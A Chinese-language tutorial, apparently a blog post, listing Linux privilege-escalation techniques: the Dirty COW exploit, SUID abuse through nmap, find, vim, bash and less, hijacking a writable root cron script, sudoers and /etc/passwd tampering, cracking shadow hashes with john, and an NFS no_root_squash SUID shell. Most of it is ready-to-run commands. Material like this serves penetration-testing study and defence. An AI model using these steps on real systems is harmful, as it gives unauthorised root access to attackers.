1、內核漏洞臟牛提權
查看發行版本 |
cat /etc/issue |
cat /etc/*-release |
|
查看內核版本信息
uname -a
具體提權
1、信息收集配合kali提權
uname -a #查看內核版本信息
內核版本為3.2.78,那我們可以搜索該版本漏洞
searchsploit linux 3.2.78
找到幾個可以使用的臟牛提權腳本,這里我使用的是40839.c腳本
那我們把這個文件也進行上傳
然后在我們反彈的shell上查看,發現上傳成功。
我們可以先看看腳本
利用提示對腳本進行編譯
gcc -pthread 40839.c -o 40839 -lcrypt
運行然后輸入密碼即可
接下來我們通過
su firefart #切換用戶
2、利用linux-exploit-suggester、linux-exploit-suggester-2等工具
linux-exploit-suggester
linux-exploit-suggester-2
2、SUID配置錯誤提權
SUID簡介
1.只有可以執行的二進制程序文件才能設定SUID權限,非二進制文件設置SUID權限沒任何意義.
2.命令執行者要對該程序文件擁有執行(x)權限.
3.命令執行者在執行該程序時獲得該程序文件屬主的身份.
4.SUID權限只在該程序執行過程中有效,也就是說身份改變只在程序執行過程中有效
SUID設置方法
1、chmod u+s FILE...
2、chmod u-s FILE…
具體提權
SUID可以讓程序調用者以文件擁有者的身份運行該文件,當我們以一個普通用戶去運行一個root用戶所有的SUID文件,那么運行該文件我們就可以獲取到root權限
常見Linux中root文件列表如下
nmap
vim
find
bash
more
less
nano
cp
利用如下POC
#以下命令將嘗試查找具有root權限的SUID的文件,不同系統適用於不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
各命令提權利用
nmap
舊版本的 Nmap(2.02 到 5.21)具有交互模式,允許用戶執行 shell 命令。由於 Nmap 位於以 root 權限執行的二進制文件列表中,因此可以使用交互式控制台來運行具有相同權限的 shell。
nmap --interactive #啟動交互模式
nmap> !sh
sh-3.2# whoami
root
或者有一個 Metasploit 模塊,它通過 SUID Nmap 二進制文件執行權限提升。
exploit/unix/local/setuid_nmap
find
實用程序find可用於發現存儲在系統上。然而,它是執行命令的能力。因此,如果它被配置為使用 SUID 權限運行,那么所有將通過 find 執行的命令都將以 root 身份執行。
我們拿到一個非root權限
touch abc
find abc -exec whoami \;
vim
Vim 的主要用途是作為文本編輯器。但是,如果它作為 SUID 運行,它將繼承 root 用戶的權限,因此它可以讀取系統上的所有文件。
vim.tiny /etc/shadow
還可以通過vim來打開shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
less和more
less /etc/passwd
!/bin/sh
3、計划任務提權
系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。非root權限的用戶是不可以列出root用戶的計划任務的。但是/etc/內系統的計划任務可以被列出。
利用命令如下命令列出一些計划任務
ls -l /etc/cron*
cat /etc/crontab
在發現有一些計划任務時,我們就可以去檢查是否存在一些問題導致權限的提升
權限配置不當
首先我們拿到一個非root用戶的賬號,我們通過一些其他的手段提權都失敗了,這個時候我們查看了一下計划任務
cat /etc/crontab
發現存在一個root身份運行的test.sh,那我們當相應的目錄下去查看一下這個計划任務
cd /sbin;ls -l test.sh
發現這里權限配置為777,就是說我們普通用戶也能去修改這個test.sh文件,那我們對文件進行修改,然后進行提權。
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;
接下來就到/tmp等待計划任務的執行
產生后對bash文件進行執行即可進行提權
4、sudo提權
普通用戶一般是無法運行root所有者的命令的,運用sudo可以使普通用戶使用root用戶的命令。但是在一些場景下,管理員為了平常運營方便給sudoer文件配置不當,從而導致權限提升的問題產生。
一般情況下,我們使用sudo命令都需要輸入root密碼
管理可能為了方便對/etc/sudoers進行編輯成sudo免密碼
vim /etc/sudoers
添加:test ALL=(ALL:ALL) NOPASSWD:ALL #test為我們的用戶
添加后我們在進行重新進行讀取
5、明文root密碼提權
大多數linux系統的密碼都和/etc/passwd和/etc/shadow這兩個配置文件息息相關。passwd里面儲存了用戶,shadow里面是密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫的。shadow是僅root可讀寫的。
當我們的passwd和shadow一些權限配置不當就可能會導致提權
passwd文件
test:x:1000:1000::/home/test:/bin/bash
passwd 由冒號分割,第一列是用戶名,第二列是密碼,x 代表密碼 hash 被放在 shadow 里面了(非root用戶不可讀)。
當我們的passwd文件給普通用戶配置了寫權限,那么我們就可以通過修改x為一段已知的密碼的hash值來進行提權。
shadow文件
test:$6$Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::
假如我們對shadow文件有讀取權限我們就可以利用hash、john等對其進行爆破
這里以john為例進行演示,首先把passwd和shadow兩文件放在同一文件下
john --user=test test.hash
6、密碼復用提權
當我們獲取到一些如數據庫、后台 web 密碼,可能就是 root 密碼
7、第三方服務提權
netstat -antup #查看各種網絡服務
1、NFS提權
當服務器中存在NFS共享,且開啟了no_root_squash選項時,這時如果客戶端使用的是root用戶,那么對於共享目錄來說,該客戶端就有root權限,可以使用它來提升權限。
①查看NFS服務器上的共享目錄
sudo showmount -e x.x.x.x
②創建本地掛載目錄,掛載共享目錄。使用攻擊者本地root權限創建Suid shell。
sudo mkdir -p /tmp
sudo mount -t nfs x.x.x.x:/home/test /tmp
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
③回到要提權的服務器上,使用普通用戶使用shell -p來獲取root權限。
2、數據庫提權(篇幅教長,后續另起篇幅)
①UDF提權
②MOF提權
③啟動項提權
④CVE-2016-6663、CVE-2016-6664組合提權
⑤反彈端口提權